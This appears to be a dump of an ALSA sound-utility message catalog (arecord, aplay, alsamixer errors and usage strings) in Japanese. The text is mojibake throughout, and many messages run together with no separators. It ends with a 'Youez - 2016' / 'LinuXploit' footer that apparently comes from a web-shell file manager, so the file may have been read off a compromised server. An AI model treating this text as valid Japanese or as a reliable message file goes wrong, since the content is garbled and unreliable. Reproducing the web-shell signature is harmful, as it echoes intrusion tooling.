packed .voc ファイルã¯æ¼”å¥ã§ãã¾ã›ã‚“クライアント情報をå–å¾—ã§ãã¾ã›ã‚“
サウンドカードを検出ã§ãã¾ã›ã‚“ミキサーをロードã§ãã¾ã›ã‚“ミキサーを開ã‘ã¾ã›ã‚“録音ストリームã®ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆãŒå¤‰æ›´ï¼Ÿ 修復を試ã¿ã¾ã™...
カード %i: %s [%s], デãƒã‚¤ã‚¹ %i: %s [%s]
クライアント %d: '%s' [タイプ=%s]
ファイルを閉ã˜ã¾ã™..
arecord ã¾ãŸã¯ aplay コマンドã®ã¿å¯èƒ½dBゲイン:切り離ã—
デãƒã‚¤ã‚¹å入力...ä¸æ­£ãªã‚«ãƒ¼ãƒ‰ç•ªå·: %s
å—信アドレスãŒä¸æ­£ã§ã™: %s
é€ä¿¡ã‚¢ãƒ‰ãƒ¬ã‚¹ãŒä¸æ­£ã§ã™: %s
ä¸æ­£ãªé€ä¿¡ã‚¢ãƒ‰ãƒ¬ã‚¹ %s
カーãƒãƒ«malloc エラーミュートサウンドカードãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“...メモリãŒè¶³ã‚Šã¾ã›ã‚“ok.. 接続
オプション:
オーãƒãƒ¼ãƒ©ãƒ³raw データリードエラーリードエラー (%i è¡Œ)読込エラー: %s読ã¿æ›¸ãエラー, ステータス = %s読込(readv)エラー: %sサービス '%s' ㌠/etc/services ã«è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“
ステータスエラー: %sサスペンド: prepare エラー: %s接続ãŒå¤šã™ãŽã¾ã™!
より詳ã—ã„情報ã¯ã€Œalsamixer --helpã€ã‚’実行ã—ã¦ãã ã•ã„
sw params ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«å¤±æ•—ã—ã¾ã—ãŸ:アンダーラン未知ã®æŠ½è±¡ãƒ¬ãƒ™ãƒ«: %s
未知ã®ãƒ–ロックタイプ %d: 終了ã—ã¾ã™ã€‚未知ã®ã‚ªãƒ—ション '%c'
ä¸æ­£ãªãƒ•ã‚¡ã‚¤ãƒ«ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆ %s使用法:
ユーザä¸æ­£ãªãƒãƒ£ãƒãƒ«æ•° %ibuffer_size = %lu ã§è¨­å®š
period_size = %lu ã§è¨­å®š
書込エラー書込エラー: %s書込(writev)エラー: %sä¸æ­£ãªæ‹¡å¼µãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆ '%s'xrun_recovery 失敗: %d,%s

Youez - 2016 - github.com/yon3zu
LinuXploit